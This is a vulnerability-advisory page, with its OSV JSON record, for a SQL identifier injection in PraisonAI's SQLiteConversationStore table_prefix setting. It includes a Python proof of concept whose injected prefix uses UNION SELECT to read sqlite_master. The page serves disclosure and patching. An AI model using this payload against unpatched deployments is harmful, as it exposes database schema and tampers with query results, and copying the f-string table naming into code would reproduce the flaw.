GHSA-X783-XP3G-MQHP
Vulnerability from github – Published: 2026-04-10 19:32 – Updated: 2026-04-14 21:56Summary
The table_prefix configuration value is directly used to construct SQL table identifiers without validation.
If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.
Details
This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.
This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:
sessions_table = f"{table_prefix}sessions"
This value is then used in queries such as:
SELECT * FROM {self.sessions_table}
Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.
The vulnerability originates from configuration input and propagates through the following flow:
-
Source: config.py (
from_yaml/from_dict) accepts external configuration input -
Propagation: factory.py (
create_stores_from_config) passesconversation_optionswithout validation -
Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from
table_prefix
As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.
PoC
1. Exploit Code
The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.
#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix
This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""
import os
import tempfile
from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession
def run_poc() -> int:
fd, db_path = tempfile.mkstemp(suffix=".db")
os.close(fd)
try:
print(f"[+] temp db: {db_path}")
# 1) Create normal schema and insert one legitimate session.
normal = SQLiteConversationStore(
path=db_path,
table_prefix="praison_",
auto_create_tables=True,
)
normal.create_session(
ConversationSession(
session_id="legit-session",
user_id="user1",
agent_id="agent1",
name="Legit Session",
state={},
metadata={},
created_at=123.0,
updated_at=123.0,
)
)
normal_rows = normal.list_sessions(limit=10, offset=0)
print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")
# 2) Malicious prefix (UNION-based query structure manipulation)
injected_prefix = (
"praison_sessions WHERE 1=0 "
"UNION SELECT "
"name as session_id, "
"NULL as user_id, "
"NULL as agent_id, "
"NULL as name, "
"NULL as state, "
"NULL as metadata, "
"0 as created_at, "
"0 as updated_at "
"FROM sqlite_master -- "
)
injected = SQLiteConversationStore(
path=db_path,
table_prefix=injected_prefix,
auto_create_tables=False,
)
injected_rows = injected.list_sessions(limit=10, offset=0)
injected_ids = [row.session_id for row in injected_rows]
print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")
suspicious = any(
x in injected_ids
for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
)
if suspicious or len(injected_rows) > len(normal_rows):
print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
return 0
print("[!] PoC inconclusive: no clear injected rows observed")
return 2
finally:
try:
os.remove(db_path)
print("[+] temp db removed")
except OSError:
pass
if __name__ == "__main__":
raise SystemExit(run_poc())
2. Expected Output
The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.
3. Impact
- SQL Identifier Injection
- Query result manipulation
- Internal schema disclosure
Exploitable when untrusted input can influence configuration.
Reference
- https://github.com/advisories/GHSA-59g6-v3vg-f7wc
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.133"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40315"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:32:00Z",
"nvd_published_at": "2026-04-14T04:17:16Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `table_prefix` configuration value is directly used to construct SQL table identifiers without validation.\n\nIf an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as `sqlite_master`) and tampering with query results.\n\n---\n\n### Details\nThis allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.\n\nThis occurs because `table_prefix` is passed from configuration (`from_yaml` / `from_dict`) into `SQLiteConversationStore` and directly concatenated into SQL queries via f-strings:\n\n```python\nsessions_table = f\"{table_prefix}sessions\"\n```\n\nThis value is then used in queries such as:\n\n```sql\nSELECT * FROM {self.sessions_table}\n```\n\nSince SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.\n\n\n\nThe vulnerability originates from configuration input and propagates through the following flow:\n\n* **Source:** [config.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/config.py)\n (`from_yaml` / `from_dict`) accepts external configuration input\n\n* **Propagation:** [factory.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/factory.py)\n (`create_stores_from_config`) passes `conversation_options` without validation\n\n* **Sink:** [sqlite.py](https://github.com/MervinPraison/PraisonAI/blob/5ed5f1a6a96c829527abed15ac6d6166aafc6abd/src/praisonai/praisonai/persistence/conversation/sqlite.py)\n Constructs SQL queries using f-strings with identifiers derived from `table_prefix`\n\nAs a result, attacker-controlled `table_prefix` is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.\n\n### PoC\n\n#### 1. Exploit Code\nThe PoC demonstrates that attacker-controlled `table_prefix` is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: SQL identifier injection via SQLiteConversationStore.table_prefix\n\nThis demonstrates query-structure manipulation when table_prefix is attacker-controlled.\n\"\"\"\n\nimport os\nimport tempfile\n\nfrom praisonai.persistence.conversation.sqlite import SQLiteConversationStore\nfrom praisonai.persistence.conversation.base import ConversationSession\n\n\ndef run_poc() -\u003e int:\n fd, db_path = tempfile.mkstemp(suffix=\".db\")\n os.close(fd)\n\n try:\n print(f\"[+] temp db: {db_path}\")\n\n # 1) Create normal schema and insert one legitimate session.\n normal = SQLiteConversationStore(\n path=db_path,\n table_prefix=\"praison_\",\n auto_create_tables=True,\n )\n normal.create_session(\n ConversationSession(\n session_id=\"legit-session\",\n user_id=\"user1\",\n agent_id=\"agent1\",\n name=\"Legit Session\",\n state={},\n metadata={},\n created_at=123.0,\n updated_at=123.0,\n )\n )\n\n normal_rows = normal.list_sessions(limit=10, offset=0)\n print(f\"[+] normal.list_sessions() count: {len(normal_rows)}\")\n print(f\"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}\")\n\n # 2) Malicious prefix (UNION-based query structure manipulation)\n injected_prefix = (\n \"praison_sessions WHERE 1=0 \"\n \"UNION SELECT \"\n \"name as session_id, \"\n \"NULL as user_id, \"\n \"NULL as agent_id, \"\n \"NULL as name, \"\n \"NULL as state, \"\n \"NULL as metadata, \"\n \"0 as created_at, \"\n \"0 as updated_at \"\n \"FROM sqlite_master -- \"\n )\n\n injected = SQLiteConversationStore(\n path=db_path,\n table_prefix=injected_prefix,\n auto_create_tables=False,\n )\n\n injected_rows = injected.list_sessions(limit=10, offset=0)\n injected_ids = [row.session_id for row in injected_rows]\n\n print(f\"[+] injected.list_sessions() count: {len(injected_rows)}\")\n print(f\"[+] injected session_ids (first 10): {injected_ids[:10]}\")\n\n suspicious = any(\n x in injected_ids\n for x in (\"sqlite_schema\", \"sqlite_master\", \"praison_sessions\", \"praison_messages\")\n )\n\n if suspicious or len(injected_rows) \u003e len(normal_rows):\n print(\"[!] PoC succeeded: list_sessions query semantics altered by table_prefix\")\n return 0\n\n print(\"[!] PoC inconclusive: no clear injected rows observed\")\n return 2\n\n finally:\n try:\n os.remove(db_path)\n print(\"[+] temp db removed\")\n except OSError:\n pass\n\n\nif __name__ == \"__main__\":\n raise SystemExit(run_poc())\n```\n\n---\n\n#### 2. Expected Output\n\n\nThe output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.\n\n#### 3. Impact\n\n- SQL Identifier Injection\n- Query result manipulation\n- Internal schema disclosure\n\nExploitable when untrusted input can influence configuration.\n\n---\n#### Reference\n\n- https://github.com/advisories/GHSA-59g6-v3vg-f7wc",
"id": "GHSA-x783-xp3g-mqhp",
"modified": "2026-04-14T21:56:08Z",
"published": "2026-04-10T19:32:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40315"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/0accebb2e3c3ec2fca66bbea0444fb7a35f0b4ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.133"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PraisonAI: SQLiteConversationStore didn\u0027t validate table_prefix when constructing SQL queries"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.